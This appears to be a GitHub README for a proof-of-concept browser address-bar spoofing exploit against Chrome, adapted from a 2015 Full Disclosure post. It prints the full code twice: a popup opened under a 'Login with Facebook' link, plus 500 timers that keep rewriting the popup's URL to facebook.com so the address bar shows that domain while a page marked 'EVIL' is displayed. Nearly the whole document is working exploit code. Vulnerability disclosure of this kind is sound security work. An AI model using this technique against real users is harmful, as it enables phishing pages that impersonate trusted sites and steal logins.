ptantiku/chrome_addr_spoof_poc

## chrome_addr_spoof_poc
Original: http://seclists.org/fulldisclosure/2015/Jun/108
Modified by: ptantiku

------------------------------------------------------------------------------------
content.html
------------------------------------------------------------------------------------
<html>
    <body>
        This is not facebook.com! This is EVIL!
        <script>
            window.location.href = 'https://facebook.com';
        </script>
    </body>
</html>
------------------------------------------------------------------------------------
index.html
------------------------------------------------------------------------------------
<html>
    <head>
        <script>
            n=0;
            threads = [];

            function start() {
                w = window.open("content.html", "_blank", "width=500 height=500");
                setTimeout("createThreads();", 10);  //wait 10ms for the pop-up window to be ready
            }

            function createThreads() {
                for(i=0;i<500;i++){                 //create 500 threads
                    t = setInterval("next();",5);   //each will keep changing the URL every 5ms
                    threads.push(t);
                }
            }

            function next() {
                w.location.replace('https://facebook.com/?'+(n++)); //keep changing the URL of the pop-up window
            }

            function stop() {
                //remove all threads
                for(i=0;i<threads.length;i++){
                    clearInterval(threads[i]);
                }
            }
        </script>
    </head>
    <body>
        <a href="#" onclick="start()">Login with Facebook</a>
        <a href="#" onclick="stop()">Stop</a>
    </body>
</html>
------------------------------------------------------------------------------------
	Original: http://seclists.org/fulldisclosure/2015/Jun/108
	Modified by: ptantiku

	------------------------------------------------------------------------------------
	content.html
	------------------------------------------------------------------------------------
	<html>
	<body>
	This is not facebook.com! This is EVIL!
	<script>
	window.location.href = 'https://facebook.com';
	</script>
	</body>
	</html>
	------------------------------------------------------------------------------------
	index.html
	------------------------------------------------------------------------------------
	<html>
	<head>
	<script>
	n=0;
	threads = [];

	function start() {
	w = window.open("content.html", "_blank", "width=500 height=500");
	setTimeout("createThreads();", 10); //wait 10ms for the pop-up window to be ready
	}

	function createThreads() {
	for(i=0;i<500;i++){ //create 500 threads
	t = setInterval("next();",5); //each will keep changing the URL every 5ms
	threads.push(t);
	}
	}

	function next() {
	w.location.replace('https://facebook.com/?'+(n++)); //keep changing the URL of the pop-up window
	}

	function stop() {
	//remove all threads
	for(i=0;i<threads.length;i++){
	clearInterval(threads[i]);
	}
	}
	</script>
	</head>
	<body>
	<a href="#" onclick="start()">Login with Facebook</a>
	<a href="#" onclick="stop()">Stop</a>
	</body>
	</html>
	------------------------------------------------------------------------------------